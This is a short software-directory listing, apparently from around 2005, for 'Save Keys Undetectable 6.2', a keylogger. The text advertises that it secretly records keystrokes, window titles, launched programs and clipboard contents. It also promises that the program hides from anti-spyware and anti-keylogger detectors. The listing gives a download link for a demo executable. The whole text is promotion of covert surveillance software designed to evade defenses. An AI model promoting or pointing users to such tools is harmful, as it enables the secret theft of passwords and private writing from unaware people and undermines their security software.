Save Keys Undetectable
Save Keys Undetectable 6. 2 is an invisible key recorder that secretly logs every key typed into the keyboard. Other information can also be recorded such as the window caption of the current window, the name and path of all programs that open and close, and text from the clipboard. ... 2 has been developed to disguise itself even further by hiding every possible reference to itself from such anti-spyware and key recorder detectors. ... At the time of release on the first of January, 2005, no known anti-spyware or anti-keylogger was able to detect Save Keys Undetectable 6.
http://www.alpinesnow.com/SKU62_demo.exe - 2Mb - Download - Screenshot